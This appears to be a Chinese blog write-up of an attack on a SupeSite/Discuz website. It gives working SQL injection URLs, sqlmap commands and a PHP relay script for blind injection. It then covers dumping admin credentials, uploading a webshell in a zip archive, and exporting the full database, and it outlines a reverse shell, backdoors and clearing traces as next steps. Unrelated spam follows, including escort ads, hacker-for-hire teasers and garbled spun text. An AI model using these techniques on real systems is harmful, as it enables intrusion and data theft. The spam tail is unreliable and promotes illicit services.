近期在一次演练行动中,对某目标进行了一次渗透测试,期间用到了sqlmap的中转注入技术,还是很有收获的,记录下来和大家共同分享,由于是实战,免不了部分地方是要马赛克的,大家见谅。
免责声明:本文中提到的漏洞利用 *** 和脚本仅供研究学习使用,请遵守《 *** 安全法》等相关法律法规。
打开网页,拉到更底看到是
感觉历史有点悠久了,应该是有现成的漏洞了。查阅了一波资料,大佬已经给出了SQL注入的地方,开心的手工注入一波;
先看看有多少字段; http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20order%20by%20xxx%23 在看看显示位是哪几位; http://www.xxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,,7,8,9,10,11,12%23 看看数据库; http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,database()%23 然后开心的开始注表; http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
到这就突然悲剧了,反复报错,以为有waf,换了多个绕过 *** 在试,还是不行。后来看了下mysql的版本,原来是4.0的,这个版本的mysql是无法通过information_schema.tables来爆表的,那么就上神器sqlmap试试。
手工注入失败后,用sqlmap跑跑;
sqlmap -u "http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments" -v 3 --dbms=mysql --tamper=space2comment --risk=3 --level=5 --random-agent --dbs --batch
结果还是失败,怎么也跑不出结果来;后来查了资料,才知道这里要用sqlmap的中转注入技巧。
首先用phpsutdy本地搭建一个网站;
放入sql.php,其代码为:
<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(" ","%20",$id); $id=str_replace("=","%3D",$id); $url="http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23"; echo $url; $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output=curl_exec($ch); curl_close($ch); print_r($output); ?>
然后sqlmap就可以开心的跑起来了;
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 --dbs
数据库跑出来是:Discuz。
接下来继续跑表;
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz --tables
刚开心没多久,到这又卡住了,很久都跑不出结果;后来仔细想了才知道,这里因为mysql版本问题,布尔盲注时需要提供字典,如果字典不给力的话,那是跑不出结果的。
既然我们都知道了数据库是Discuz,那么查阅下Discuz数据库的表名、列名,作成字典再来跑的话,那问题不就解决了。
在sqlmap跑时指定好字典;
瞬间答案就出来了,同样的道理,做好字典,来跑列名;
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members --columns
最后直接就可以注出管理员的账号,密码需要md5破解一下;
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members -C "username,password" --dump
登录了管理员后台,接下来就是找地方上传webshell。期间走了很多弯路,SupeSite很多地方都可以上传模板,但在上传模板的地方都在最开始加上了<?exit?>,这样你添加的php代码就不会执行,避免了添加恶意的代码。查阅了很多资料,都没有绕过。最后,找到了一个可以利用的上传点;
把webshell压缩为zip文件后上传,系统会随机生成一个目录,并自动解压zip文件,那我们的webshell就释放出来了;
在备份管理里可以看到这个压缩包以及路径,接下来就可以开心的菜刀连接了。
进去之后在找下配置文件:config.php,里面有数据库的连接账号、密码等信息。
这里用adminer.php,菜刀上传后访问就可以,adminer是一个轻量级的数据库管理工具,优点在于就一个php文件,操作起来也很方便。
直接导出就可以了,这里经过测试,导出sql最稳定,同时压缩下,否则太大了不利于传输。
目标的系统是centos,下载sql文件到本地后,在windows下可以尝试用navicat导入,操作简单就不多赘述了,在kali下导入 *** 如下;
1、首先建空数据库
mysql>create database Discuz;
2、导入数据库
(1)选择数据库
mysql>use Discuz;
(2)设置数据库编码
mysql>set names utf8;
(3)导入数据(注意sql文件的路径)
mysql>source /home/Discuz.sql;
文章到此就告一段落了,后续的流程主要有:
1、上传反弹的webshell,反弹一个通道到vps主机上;
2、尝试提权;
3、留下后门;
4、清理入侵痕迹。
这些将放在后续文章中介绍,本文主要研究的是sqlmap中转注入及上传shell的技巧,仅供技术研究。
在线预约北京高端小学妹商务小学妹经纪方式流程【何鑫月】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄深圳 女 30,婚姻:未婚,学历:高中,气质:在线预约北...
提升网站权重(权重计算公式) 站长们会发现一些网站在改变好友链时权重很高,但是包含度不好,排名也不是很好。网站的权重有可能是不真实的,可能会被某种方式忽略。以下是边肖星若传媒在网站管理员工具中分析的...
一、寻手机版下载怎么找黑客 1、攻击私服多少钱黑客个人业务源码息虽然这是一种很好的主要语言,但它不仅仅是一种玩具。寻手机版下载学习的但在媒体报道中,黑客这个词常常指的是软件可怕的软件。网站黑客...
本篇从4点区别,产物方针的区别、产物实战进程的区别、算法模子实战区别、产物司理驾御难易水平区别,和1点接洽的实战多案例辨别AI产物司理与数据产物司理的区别与接洽,并通过多个实战案例把握数据产物司理和A...
黑客若何更改银行账号的开户人名字 身份证查询小我私家资料免费(小我私家身份证查询企业) 没有任何基础怎么当黑客 旧手机摄像头拆下接usb(usb毗邻手机摄像头) 微信黑客是怎么解封...
自由泳换气绝技(自由泳的吸气技术性)入门游泳者非常少能恰当地水里呼吸,而基本上全部的初级水准泳者都觉得她们做的是恰当的呼吸。但她们确实保证了没有?回答是:很少!乃至在一些高級游水参赛选手中,也是有许多...